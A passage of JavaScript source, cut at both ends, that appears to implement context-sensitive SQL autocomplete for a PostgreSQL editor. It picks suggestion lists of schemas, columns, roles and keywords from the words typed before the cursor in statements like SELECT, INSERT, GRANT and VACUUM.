arrPreviousWords = [];\n arrPreviousKeyWords = [];\n \n // while we don't have 5 previous keywords and i is greater than the current query start\n while (arrPreviousKeyWords.length < 6 && i > -1) {\n strChar = strScript[i] || '';\n \n // if we havn't found the previous word end yet and the current character is not whitespace or null\n if (intEnd === null && strChar.trim() !== '') {\n // we've found the previous word end: save it\n intEnd = i + 1;\n \n // if we've found the previous word end but not the start and the current character is whitespace or null\n } else if (intStart === null && intEnd !== null && (strChar.trim() === '' || strScript[i] === '(')) {\n // we've found the previous word start: save it\n intStart = i + 1;\n \n // if we've found the previous word end but not the start and we've reached the first character of the query\n } else if (intStart === null && intEnd !== null && i === 0) {\n // we've found the previous word start: save it\n intStart = i;\n }\n \n if (intStart !== null && intEnd !== null) {\n strCurrentWord = strScript.substring(intStart, intEnd).toUpperCase();\n \n arrPreviousWords.push(strCurrentWord);\n \n strCurrentWord = strCurrentWord.replace(/[\\,\\(]/gi, '');\n \n // if the current word is in the keyword list: add to keyword array\n if (autocompleteGlobals.jsnKeywords.all.indexOf(strCurrentWord.toLowerCase()) !== -1) {\n arrPreviousKeyWords.push(strCurrentWord);\n }\n \n // clear variables for next cycle\n intStart = null;\n intEnd = null;\n }\n \n i -= 1;\n }\n \n // get first 5 words\n i = 0;\n len = strScript.length;\n intStart = null;\n intEnd = null;\n arrFirstWords = [];\n \n while (arrFirstWords.length < 6 && i <= len) {\n strChar = strScript[i] || '';\n \n // if we havn't found the previous word start yet and the current character is not whitespace or null\n if (intStart === null && strChar.trim() !== '') {\n intStart = i;\n \n // if we've found the previous word start but not the end and the current character is whitespace or null\n } else if (intEnd === null && intStart !== null && (strChar.trim() === '' || strScript[i] === '(')) {\n intEnd = i;\n \n // if we've found the previous word start but not the end and we've reached the last character of the query\n } else if (intEnd === null && intStart !== null && i === len) {\n intEnd = i;\n }\n \n if (intEnd !== null && intStart !== null) {\n strCurrentWord = strScript.substring(intEnd, intStart).toUpperCase();\n arrFirstWords.push(strCurrentWord);\n \n // clear variables for next cycle\n intEnd = null;\n intStart = null;\n }\n \n i += 1;\n }\n \n strPreviousKeyWord = arrPreviousKeyWords[0];\n strPreviousWord = arrPreviousWords[0];\n \n // waterfall to get the autocomplete list type\n if (strPreviousWord) {\n bolPreviousCharWhitespace = (!(strScript[intCursorPosition - 1] || '').trim());\n bolCurrentCharWhitespace = (!(strScript[intCursorPosition] || '').trim());\n bolPreviousCharReturn = (strScript[intCursorPosition - 1] === '\\n');\n bolCurrentCharReturn = (strScript[intCursorPosition] === '\\n');\n \n bolCurrentCharPeriod = (strScript[intCursorPosition] === '.');\n bolCurrentCharValidStart = (/[a-z0-9\\\"]/gi).test(strScript[intCursorPosition]);\n bolAfterComma = (strPreviousWord[strPreviousWord.length - 1] === ',');\n bolCurrentCharOpenParen = (strScript[intCursorPosition] === '(');\n bolCurrentCharCloseParen = (strScript[intCursorPosition] === ')');\n bolPreviousCharOpenParen = (strScript[intCursorPosition - 1] === '(');\n bolPreviousCharCloseParen = (strScript[intCursorPosition - 1] === ')');\n \n bolFirstSpace = bolCurrentCharWhitespace && !bolPreviousCharWhitespace;\n \n // type autocomplete\n if (strScript[intCursorPosition] === ':' && strScript[intCursorPosition - 1] === ':') {\n autocompleteGlobals.intSearchOffset = 1;\n arrQueries = [autocompleteQuery.types];\n \n // query specific autocomplete\n } else if (\n (\n (bolFirstSpace && !bolCurrentCharReturn) ||\n (bolCurrentCharValidStart && bolPreviousCharWhitespace) ||\n (bolCurrentCharOpenParen) ||\n (bolPreviousCharOpenParen && bolCurrentCharWhitespace)\n ) || (\n (/^CREATE/gi).test(strSearchQuery) && !bolCurrentCharPeriod\n )\n ) {\n autocompleteGlobals.intSearchOffset = ((bolCurrentCharValidStart && bolPreviousCharWhitespace) ? 0 : 1);\n // () <- context priority\n //\n // c <- columns | t <- tables\n // v <- views | f <- functions\n // a <- aggregates | s <- schemas\n // C <- collate | OC <- operator classes\n // CO <- comparison operator | CD <- comparison delimiter (AND/OR)\n // CON <- constraints\n \n // insert\n if ((/^INSERT/gi).test(strSearchQuery)) {\n // INSERT INTO < s> AS alias\n // (<(c)c>, <(c)c>)\n // VALUES\n // (< sf>, < sf>)\n // ON CONFLICT (<(c)c> COLLATE < C> < OC>) WHERE <(c)c> > 2\n // ON CONSTRAINT <(CON)>\n // DO UPDATE SET <(c)c> = <(c)c> WHERE <(c)c> < CO> <(c)c> < CD> <(c)c> < CO> <(c)c>\n // RETURNING <(ctv)cs>, <(ctv)cs>;\n \n // after INTO: schemas, tables and views\n if (strPreviousWord === 'INTO') {\n arrQueries = [autocompleteQuery.schemas];\n \n // after RETURNING: columns, schemas\n } else if (strPreviousKeyWord === 'RETURNING' && (bolAfterComma || bolCurrentCharWhitespace)) {\n arrQueries = [autocompleteQuery.allcolumns, autocompleteQuery.schemas];\n arrContextLists = ['tables', 'views'];\n \n // word after COLLATE: collations\n } else if (strPreviousWord === 'COLLATE' && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.collations];\n \n // word after COLLATE: operator classes\n } else if (strPreviousKeyWord === 'COLLATE' && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.opclass];\n \n // after WHERE: columns, schemas\n } else if ((/(WHERE|AND|OR)/gi).test(strPreviousKeyWord) && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.allcolumns, autocompleteQuery.schemas];\n arrContextLists = ['tables', 'views'];\n \n // after CONSTRAINT: constraints\n } else if (strPreviousKeyWord === 'CONSTRAINT' && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.constraints];\n \n // after SET: columns\n } else if (strPreviousKeyWord === 'SET' && (bolAfterComma || bolCurrentCharWhitespace)) {\n arrQueries = [autocompleteQuery.allcolumns];\n \n // paren after CONFLICT: columns\n } else if (strPreviousKeyWord === 'CONFLICT' && (bolAfterComma || bolCurrentCharOpenParen)) {\n arrQueries = [autocompleteQuery.allcolumns];\n \n // paren after VALUES: schemas\n } else if (strPreviousKeyWord === 'VALUES' && (bolAfterComma || bolCurrentCharOpenParen)) {\n arrQueries = [autocompleteQuery.schemas]; //, autocompleteQuery.functions\n \n // paren after INTO: columns\n } else if (strPreviousKeyWord === 'INTO' && ((bolAfterComma && bolCurrentCharWhitespace) || bolCurrentCharOpenParen)) {\n arrQueries = [autocompleteQuery.allcolumns];\n }\n \n // table\n } else if ((/^TABLE/gi).test(strSearchQuery)) {\n // after TABLE or ONLY: schemas\n if (strPreviousWord === 'TABLE' || strPreviousWord === 'ONLY') {\n arrQueries = [autocompleteQuery.schemas];\n }\n \n // select\n } else if ((/^SELECT/gi).test(strSearchQuery)) {\n // ################################################################################\n // ################### NEEDS CONTEXT COLUMNS AND OBJECT/ALIASES ###################\n // ################################################################################\n \n // SELECT <(ctv)cs>\n // FROM < s>\n // LEFT JOIN < s> ON <(tv)s> = <(tv)s>\n // WHERE <(ctv)cs>\n // GROUP BY <(ctv)cs>\n // HAVING <(ctv)cs>\n // WINDOW test_window AS (\n // PARTITION BY <(ctv)cs>\n // ORDER BY <(ctv)cs> ASC\n // ROWS BETWEEN UNBOUNDED PRECEDING AND UNBOUNDED FOLLOWING\n // )\n // ORDER BY <(ctv)cs> ASC\n // LIMIT 500\n // OFFSET 0;\n // -----------------------------------------------------------\n // SELECT <(ctv)cs>\n // FROM < s>\n // FETCH FIRST 500 ROWS ONLY\n // FOR SHARE OF <(t)> NOWAIT;\n // -----------------------------------------------------------\n // SELECT <(ctv)cs>\n // FROM < s>\n // LEFT JOIN < s> \"aa\" USING (<(c)>)\n // LEFT OUTER JOIN < s> \"ab\" USING (<(c)>)\n // RIGHT JOIN < s> \"ac\" USING (<(c)>)\n // RIGHT OUTER JOIN < s> \"ad\" USING (<(c)>)\n // FULL JOIN < s> \"ae\" USING (<(c)>)\n // FULL OUTER JOIN < s> \"af\" USING (<(c)>)\n // INNER JOIN < s> \"ag\" USING (<(c)>)\n // LEFT JOIN < s> \"ah\" NATURAL\n // LEFT OUTER JOIN < s> \"ai\" NATURAL\n // RIGHT JOIN < s> \"aj\" NATURAL\n // RIGHT OUTER JOIN < s> \"ak\" NATURAL\n // FULL JOIN < s> \"al\" NATURAL\n // FULL OUTER JOIN < s> \"am\" NATURAL\n // INNER JOIN < s> \"an\" NATURAL\n // LEFT JOIN < s> \"ao\" ON <(tv)s> = <(tv)s>\n // LEFT OUTER JOIN < s> \"ap\" ON <(tv)s> = <(tv)s>\n // RIGHT JOIN < s> \"aq\" ON <(tv)s> = <(tv)s>\n // RIGHT OUTER JOIN < s> \"ar\" ON <(tv)s> = <(tv)s>\n // FULL JOIN < s> \"as\" ON <(tv)s> = <(tv)s>\n // FULL OUTER JOIN < s> \"at\" ON <(tv)s> = <(tv)s>\n // INNER JOIN < s> \"au\" ON <(tv)s> = <(tv)s>\n // LIMIT 5;\n // -----------------------------------------------------------\n // SELECT <(ctv)ctvs>\n // FROM ( SELECT * FROM < s> LIMIT 30 ) AS \"av\";\n // -----------------------------------------------------------\n // SELECT <(ctv)ctvs>\n // FROM ( SELECT * FROM < s> LIMIT 30 ) \"av\";\n \n // after OF:\n if (strPreviousKeyWord === 'OF' && bolCurrentCharWhitespace) {\n //arrQueries = [];\n arrContextLists = ['tables'];\n \n // after ORDER BY: columns and schemas\n } else if (arrPreviousKeyWords[1] === 'ORDER' && strPreviousKeyWord === 'BY' && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.allcolumns, autocompleteQuery.schemas];\n arrContextLists = ['tables', 'views'];\n \n // after PARTITION BY: columns and schemas\n } else if (arrPreviousKeyWords[1] === 'PARTITION' && strPreviousKeyWord === 'BY' && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.allcolumns, autocompleteQuery.schemas];\n arrContextLists = ['tables', 'views'];\n \n // after HAVING: columns and schemas\n } else if (strPreviousKeyWord === 'HAVING' && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.allcolumns, autocompleteQuery.schemas];\n arrContextLists = ['tables', 'views'];\n \n // after GROUP BY: columns and schemas\n } else if (arrPreviousKeyWords[1] === 'GROUP' && strPreviousKeyWord === 'BY' && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.allcolumns, autocompleteQuery.schemas];\n arrContextLists = ['tables', 'views'];\n \n // after WHERE: columns and schemas\n } else if (strPreviousKeyWord === 'WHERE' && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.allcolumns, autocompleteQuery.schemas];\n arrContextLists = ['tables', 'views'];\n \n // after USING comma/open paren: columns\n } else if (strPreviousKeyWord === 'USING' && (bolAfterComma || bolCurrentCharOpenParen)) {\n arrQueries = [autocompleteQuery.allcolumns];\n \n // after ON: columns and schemas\n } else if (strPreviousKeyWord === 'ON' && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.allcolumns, autocompleteQuery.schemas];\n arrContextLists = ['tables', 'views'];\n \n // after JOIN: schemas\n } else if (strPreviousKeyWord === 'JOIN' && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.schemas];\n \n // after FROM or FROM comma: schemas\n } else if (strPreviousKeyWord === 'FROM' && (bolAfterComma || (bolFirstSpace))) {\n arrQueries = [autocompleteQuery.schemas];\n \n // after INTO: schemas\n } else if (strPreviousKeyWord === 'INTO' && bolFirstSpace) {\n arrQueries = [autocompleteQuery.schemas];\n \n // after SELECT, ALL or DISTINCT:\n } else if (((/(SELECT|ALL|DISTINCT)/gi).test(strPreviousWord) && bolFirstSpace) ||\n ((/(SELECT|ALL|DISTINCT)/gi).test(strPreviousKeyWord) && bolAfterComma)) {\n arrQueries = [autocompleteQuery.allcolumns, autocompleteQuery.schemas];\n arrContextLists = ['tables', 'views'];\n }\n \n // update\n } else if ((/^UPDATE/gi).test(strSearchQuery)) {\n // UPDATE ONLY < s> AS alias\n // SET <(c)c> = <(c)c>, <(c)c> = <(c)c>\n // FROM < s> AS alias2, < s> AS alias3\n // WHERE <(ctv)cs> < CO> <(ctv)cs> < CD> <(ctv)cs> < CO> <(ctv)cs>\n // RETURNING <(ctv)cs>, <(ctv)cs>;\n \n // after RETURNING: columns and schemas\n if (strPreviousKeyWord === 'RETURNING' && (bolAfterComma || bolCurrentCharWhitespace)) {\n arrQueries = [autocompleteQuery.allcolumns, autocompleteQuery.schemas];\n arrContextLists = ['tables', 'views'];\n \n // after WHERE: columns and schemas\n } else if (strPreviousKeyWord === 'WHERE' && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.allcolumns, autocompleteQuery.schemas];\n arrContextLists = ['tables', 'views'];\n \n // after FROM or FROM comma: schemas\n } else if (strPreviousKeyWord === 'FROM' && (bolAfterComma || (bolFirstSpace))) {\n arrQueries = [autocompleteQuery.schemas];\n \n // after SET or SET comma: columns\n } else if (strPreviousKeyWord === 'SET' && (bolAfterComma || bolCurrentCharWhitespace)) {\n arrQueries = [autocompleteQuery.allcolumns];\n \n // after UPDATE or ONLY: schemas\n } else if ((/(UPDATE|ONLY)/gi).test(strPreviousWord) && (bolFirstSpace)) {\n arrQueries = [autocompleteQuery.schemas];\n }\n \n // delete\n } else if ((/^DELETE/gi).test(strSearchQuery)) {\n // DELETE FROM ONLY < s> AS alias\n // USING < s> AS alias2, < s> AS alias3\n // WHERE <(ctv)cs> < CO> <(ctv)cs> < CD> <(ctv)cs> < CO> <(ctv)cs>\n // RETURNING <(ctv)cs>, <(ctv)cs>;\n \n // after RETURNING: columns\n if (strPreviousKeyWord === 'RETURNING' && (bolAfterComma || bolCurrentCharWhitespace)) {\n arrQueries = [autocompleteQuery.allcolumns, autocompleteQuery.schemas];\n arrContextLists = ['tables', 'views'];\n \n // after WHERE: columns and schemas\n } else if ((/(WHERE|AND|OR)/gi).test(strPreviousKeyWord) && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.allcolumns, autocompleteQuery.schemas];\n arrContextLists = ['tables', 'views'];\n \n // after USING: schemas, tables and views\n } else if (strPreviousKeyWord === 'USING' && (bolCurrentCharWhitespace || bolAfterComma)) {\n arrQueries = [autocompleteQuery.schemas];\n \n // after FROM or ONLY: schemas, tables and views\n } else if ((strPreviousWord === 'FROM' || strPreviousWord === 'ONLY') && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.schemas];\n }\n \n } else if ((/^(BEGIN|START\\s*TRANSACTION|SET\\s*TRANSACTION|SET\\s*SESSION\\s*CHARACTERISTICS\\s*AS\\s*TRANSACTION)/gi).test(strSearchQuery)) {\n if ((strPreviousKeyWord === 'BEGIN' && bolCurrentCharWhitespace) || (bolAfterComma) ||\n (\n strPreviousKeyWord === 'TRANSACTION'\n && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord\n )) {\n arrQueries = [autocompleteQuery.begin_keyword_one];\n \n } else if (\n (\n (/(SERIALIZABLE|READ|COMMITTED|UNCOMMITTED)/i).test(strPreviousKeyWord)\n && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord\n )) {\n arrQueries = [autocompleteQuery.begin_keyword_two];\n \n } else if ((/(WRITE|ONLY)/i).test(strPreviousKeyWord)\n && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.begin_keyword_three];\n }\n \n } else if ((/^(SET\\s*CONSTRAINTS)/gi).test(strSearchQuery)) {\n if ((strPreviousKeyWord === 'CONSTRAINTS' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) || (bolAfterComma)) {\n arrQueries = [autocompleteQuery.all_keyword, autocompleteQuery.schemas];\n \n } else if (strPreviousWord !== 'CONSTRAINTS' && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.set_constraint_keyword_one];\n }\n \n // set/show/reset\n } else if ((/^(SET|SHOW|RESET)/gi).test(strSearchQuery)) {\n // after SET or RESET: set keywords and setable settings\n if ((/(SET|RESET)/gi).test(strPreviousWord)) {\n arrQueries = [autocompleteQuery.set_keywords, autocompleteQuery.settings];\n \n // after SHOW: set keywords and setable settings\n } else if ((/(SHOW)/gi).test(strPreviousWord)) {\n arrQueries = [autocompleteQuery.show_keywords, autocompleteQuery.settings];\n \n // after SESSION AUTHORIZATION:\n } else if (arrPreviousKeyWords[1] === 'AUTHORIZATION' && arrPreviousKeyWords[0] === 'TO') {\n arrQueries = [autocompleteQuery.logins];\n \n // after ROLE:\n } else if (arrPreviousKeyWords[1] === 'SET' && arrPreviousKeyWords[0] === 'ROLE') {\n arrQueries = [autocompleteQuery.none_keyword, autocompleteQuery.roles];\n \n // after SESSION: setable settings\n } else if ((/(SESSION)/gi).test(strPreviousWord)) {\n arrQueries = [autocompleteQuery.settings];\n }\n \n // grant/revoke\n } else if ((/^(GRANT|REVOKE)/gi).test(strSearchQuery)) {\n // after GRANT/REVOKE\n if ((/(GRANT|REVOKE)/gi).test(strPreviousWord)) {\n arrQueries = [autocompleteQuery.permissions, autocompleteQuery.roles];\n \n // after commas after GRANT/REVOKE\n } else if (bolAfterComma) {\n arrQueries = [autocompleteQuery.permissions];\n \n // after TO/FROM: roles\n } else if ((/(TO|FROM)/gi).test(strPreviousWord)) {\n arrQueries = [autocompleteQuery.roles];\n \n // after ON: grant object types\n } else if (strPreviousWord === 'ON' && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.permissionobjects];\n \n // after DATABASE: databases\n } else if (strPreviousWord === 'DATABASE' && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.databases];\n \n // after TABLESPACE: tablespaces\n } else if (strPreviousWord === 'TABLESPACE' && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.tablespace];\n \n // after object type: schemas\n } else if ( (/(TABLE|SEQUENCE|DOMAIN|WRAPPER|SERVER|FUNCTION|LANGUAGE|SCHEMA|TYPE)/gi).test(strPreviousWord)) {\n arrQueries = [autocompleteQuery.schemas];\n }\n \n // PREPARE TRANSACTION/COMMIT PREPARED/ROLLBACK PREPARED\n } else if ((/^(PREPARE TRANSACTION|COMMIT PREPARED|ROLLBACK PREPARED)/gi).test(strSearchQuery)) {\n if ((strPreviousWord === 'TRANSACTION' || strPreviousWord === 'PREPARED') && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.prepared_transactions];\n }\n \n } else if ((/^(COMMENT)/gi).test(strSearchQuery)) {\n \n if (arrPreviousKeyWords[1] === 'COMMENT' && strPreviousKeyWord === 'ON' && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.comment_objects];\n } else {\n arrQueries = autocompleteFirstQueriesByType(arrPreviousKeyWords, bolCurrentCharWhitespace, strPreviousWord);\n }\n \n } else if ((/^(CLOSE|FETCH|MOVE)/gi).test(strSearchQuery)) {\n if (strPreviousKeyWord === 'CLOSE' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.all_keyword, autocompleteQuery.cursors];\n \n } else if ((\n strPreviousKeyWord === 'FETCH' ||\n strPreviousKeyWord === 'MOVE'\n ) && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.fetch_keyword];\n \n } else if (\n (\n (/^(NEXT|PRIOR|FIRST|LAST|ALL|FORWARD|BACKWARD)/gi).test(strPreviousKeyWord) ||\n !isNaN(parseInt(strPreviousWord, 10))\n ) &&\n bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.cursors];\n }\n \n } else if ((/^(DISCARD)/gi).test(strSearchQuery)) {\n if (strPreviousKeyWord === 'DISCARD' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.discard_keyword];\n }\n \n } else if ((/^(DO)/gi).test(strSearchQuery)) {\n if (strPreviousKeyWord === 'LANGUAGE' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.language];\n }\n \n } else if ((/^(DEALLOCATE)/gi).test(strSearchQuery)) {\n if ((\n strPreviousKeyWord === 'DEALLOCATE' ||\n strPreviousKeyWord === 'PREPARE'\n ) && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.all_keyword, autocompleteQuery.prepared_statements];\n }\n \n } else if ((/^(EXECUTE)/gi).test(strSearchQuery)) {\n if (strPreviousKeyWord === 'EXECUTE' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.prepared_statements];\n \n } else if ((bolAfterComma || bolCurrentCharOpenParen)) {\n arrQueries = [autocompleteQuery.schemas];\n }\n \n } else if ((/^(PREPARE)/gi).test(strSearchQuery)) {\n if ((bolAfterComma || bolCurrentCharOpenParen)) {\n arrQueries = [autocompleteQuery.types];\n }\n \n } else if ((/^(VALUES)/gi).test(strSearchQuery)) {\n if (arrPreviousKeyWords[1] === 'ORDER' && strPreviousKeyWord === 'BY' && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.schemas];\n }\n \n } else if ((/^(VACUUM)/gi).test(strSearchQuery)) {\n if (strPreviousWord === 'VACUUM' && bolCurrentCharWhitespace) {\n arrQueries = [['FULL', 'FREEZE', 'VERBOSE', 'ANALYZE']];\n \n } else if ((/^VACUUM\\s*\\(/).test(strScript) && (strScript.match(/\\)/gi) || []).length >= 1 && (bolCurrentCharWhitespace)) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if ((/(VACUUM|FULL|FREEZE|VERBOSE|ANALYZE|(\\)$))/i).test(strPreviousWord)\n && intParenLevel === 0 && bolCurrentCharWhitespace) {\n arrQueries = [['FULL', 'FREEZE', 'VERBOSE', 'ANALYZE'], autocompleteQuery.schemas];\n \n } else if ((/^VACUUM\\s*\\(/).test(strScript) && (bolAfterComma || bolCurrentCharOpenParen)) {\n arrQueries = [['FULL', 'FREEZE', 'VERBOSE', 'ANALYZE']];\n \n } else if ((\n ((/^VACUUM\\s*\\(/).test(strScript) && (strScript.match(/\\)/gi) || []).length >= 1)\n || (!(/^VACUUM\\s*\\(/).test(strScript) && (strScript.match(/\\)/gi) || []).length === 0)\n ) && intParenLevel === 1 && (bolAfterComma || bolCurrentCharOpenParen)) {\n arrQueries = [autocompleteQuery.allcolumns];\n }\n \n } else if ((/^(UNLISTEN)/gi).test(strSearchQuery)) {\n if (strPreviousKeyWord === 'UNLISTEN' && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.listening_channels];\n }\n \n } else if ((/^(TRUNCATE)/gi).test(strSearchQuery)) {\n // after TRUNCATE or ONLY or TABLE or comma: schemas (to tables)\n if ((\n (/^(TRUNCATE|ONLY|TABLE)/gi).test(strPreviousKeyWord)\n && bolCurrentCharWhitespace\n && strPreviousKeyWord === strPreviousWord\n ) || bolAfterComma) {\n arrQueries = [autocompleteQuery.schemas];\n \n // after IDENTITY: truncate keywords two\n } else if (strPreviousKeyWord === 'IDENTITY' && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.truncate_keyword_two];\n \n // not after comma: truncate keywords one and two\n } else if (!bolAfterComma && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.truncate_keyword_one, autocompleteQuery.truncate_keyword_two];\n }\n \n } else if ((/^(LOCK)/gi).test(strSearchQuery)) {\n if ((\n (/^(LOCK|ONLY|TABLE)/gi).test(strPreviousKeyWord)\n && bolCurrentCharWhitespace\n && strPreviousKeyWord === strPreviousWord\n ) || bolAfterComma) {\n arrQueries = [autocompleteQuery.schemas];\n \n // after MODE: lock keywords two\n } else if (strPreviousKeyWord === 'MODE' && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.lock_keyword_two];\n \n // not after comma: lock keywords one and two\n } else if (!bolAfterComma && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.lock_keyword_one, autocompleteQuery.lock_keyword_two];\n }\n \n } else if ((/^(REASSIGN)/gi).test(strSearchQuery)) {\n if (strPreviousKeyWord === 'REASSIGN' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.reassign_keyword_one];\n \n } else if (strPreviousKeyWord === 'BY' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.reassign_keyword_two, autocompleteQuery.roles];\n \n } else if (strPreviousKeyWord === 'BY' && bolCurrentCharWhitespace && strPreviousKeyWord !== strPreviousWord) {\n arrQueries = [autocompleteQuery.reassign_keyword_three];\n \n } else if (strPreviousKeyWord === 'TO' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.reassign_keyword_two, autocompleteQuery.roles];\n }\n \n } else if ((/^(REFRESH\\s*MATERIALIZED\\s*VIEW)/gi).test(strSearchQuery)) {\n if (strPreviousKeyWord === 'VIEW' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.refresh_materialized_views_keyword_one, autocompleteQuery.schemas];\n \n } else if (strPreviousKeyWord === 'CONCURRENTLY' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if ((/VIEW|CONCURRENTLY/gi).test(strPreviousKeyWord) && bolCurrentCharWhitespace && strPreviousKeyWord !== strPreviousWord) {\n arrQueries = [autocompleteQuery.refresh_materialized_views_keyword_two];\n }\n \n } else if ((/^(REINDEX)/gi).test(strSearchQuery)) {\n if (strPreviousKeyWord === 'REINDEX' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.reindex_keyword_one, autocompleteQuery.reindex_keyword_two];\n \n } else if (strPreviousWord === 'VERBOSE)' && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.reindex_keyword_two];\n \n } else if ((/INDEX|TABLE|SCHEMA/gi).test(strPreviousWord) && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.schemas];\n \n } else if ((/DATABASE|SYSTEM/gi).test(strPreviousWord) && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.current_database];\n }\n \n } else if ((/^(EXPLAIN)/gi).test(strSearchQuery)) {\n if (strPreviousKeyWord === 'EXPLAIN' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.explain_keyword_one];\n \n } else if ((bolCurrentCharOpenParen || bolAfterComma) && intParenLevel === 1) {\n arrQueries = [autocompleteQuery.explain_keyword_one, autocompleteQuery.explain_keyword_two];\n \n } else if (strPreviousWord === 'FORMAT' && bolCurrentCharWhitespace) {\n arrQueries = [autocompleteQuery.explain_keyword_three];\n }\n \n } else if ((/^(IMPORT\\s*FOREIGN\\s*SCHEMA)/gi).test(strSearchQuery)) {\n if (strPreviousKeyWord === 'SERVER' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.servers];\n \n } else if (strPreviousKeyWord === 'INTO' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.schemas];\n }\n \n } else if ((/^(SECURITY\\s*LABEL)/gi).test(strSearchQuery)) {\n if (strPreviousKeyWord === 'LABEL' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.security_label_providers];\n \n } else if ((/LABEL|FOR/gi).test(strPreviousKeyWord) && bolCurrentCharWhitespace && strPreviousKeyWord !== strPreviousWord) {\n arrQueries = [autocompleteQuery.security_label_keyword_one];\n \n } else if (strPreviousKeyWord === 'IS' && bolCurrentCharWhitespace && strPreviousKeyWord !== strPreviousWord) {\n arrQueries = [autocompleteQuery.security_labels];\n \n } else if (strPreviousKeyWord === 'LANGUAGE' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.language];\n \n } else if (strPreviousKeyWord === 'ROLE' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.roles];\n \n } else if (strPreviousKeyWord === 'TABLESPACE' && bolCurrentCharWhitespace && strPreviousKeyWord === strPreviousWord) {\n arrQueries = [autocompleteQuery.tablespace];\n \n } else if (\n (arrPreviousKeyWords[0] === 'AGGREGATE' && bolCurrentCharWhitespace && arrPreviousKeyWords[0] === strPreviousWord) ||\n (arrPreviousKeyWords[0] === 'COLUMN' && bolCurrentCharWhitespace && arrPreviousKeyWords[0] === strPreviousWord) ||\n (arrPreviousKeyWords[0] === 'DOMAIN' && bolCurrentCharWhitespace && arrPreviousKeyWords[0] === strPreviousWord) ||\n (arrPreviousKeyWords[1] === 'FOREIGN'\n && arrPreviousKeyWords[0] === 'TABLE' && bolCurrentCharWhitespace && arrPreviousKeyWords[0] === strPreviousWord) ||\n (arrPreviousKeyWords[0] === 'FUNCTION' && bolCurrentCharWhitespace && arrPreviousKeyWords[0] === strPreviousWord) ||\n (arrPreviousKeyWords[1] === 'MATERIALIZED'\n && arrPreviousKeyWords[0] === 'VIEW' && bolCurrentCharWhitespace && arrPreviousKeyWords[0] === strPreviousWord) ||\n (arrPreviousKeyWords[0] === 'SEQUENCE' && bolCurrentCharWhitespace && arrPreviousKeyWords[0] === strPreviousWord) ||\n (arrPreviousKeyWords[0] === 'TABLE' && bolCurrentCharWhitespace && arrPreviousKeyWords[0] === strPreviousWord) ||\n (arrPreviousKeyWords[0] === 'TYPE' && bolCurrentCharWhitespace && arrPreviousKeyWords[0] === strPreviousWord) ||\n (arrPreviousKeyWords[0] === 'VIEW' && bolCurrentCharWhitespace && arrPreviousKeyWords[0] === strPreviousWord)) {\n arrQueries = [autocompleteQuery.schemas];\n }\n \n } else if ((/^(COPY)/gi).test(strSearchQuery)) {\n if (strPreviousKeyWord === 'COPY' && 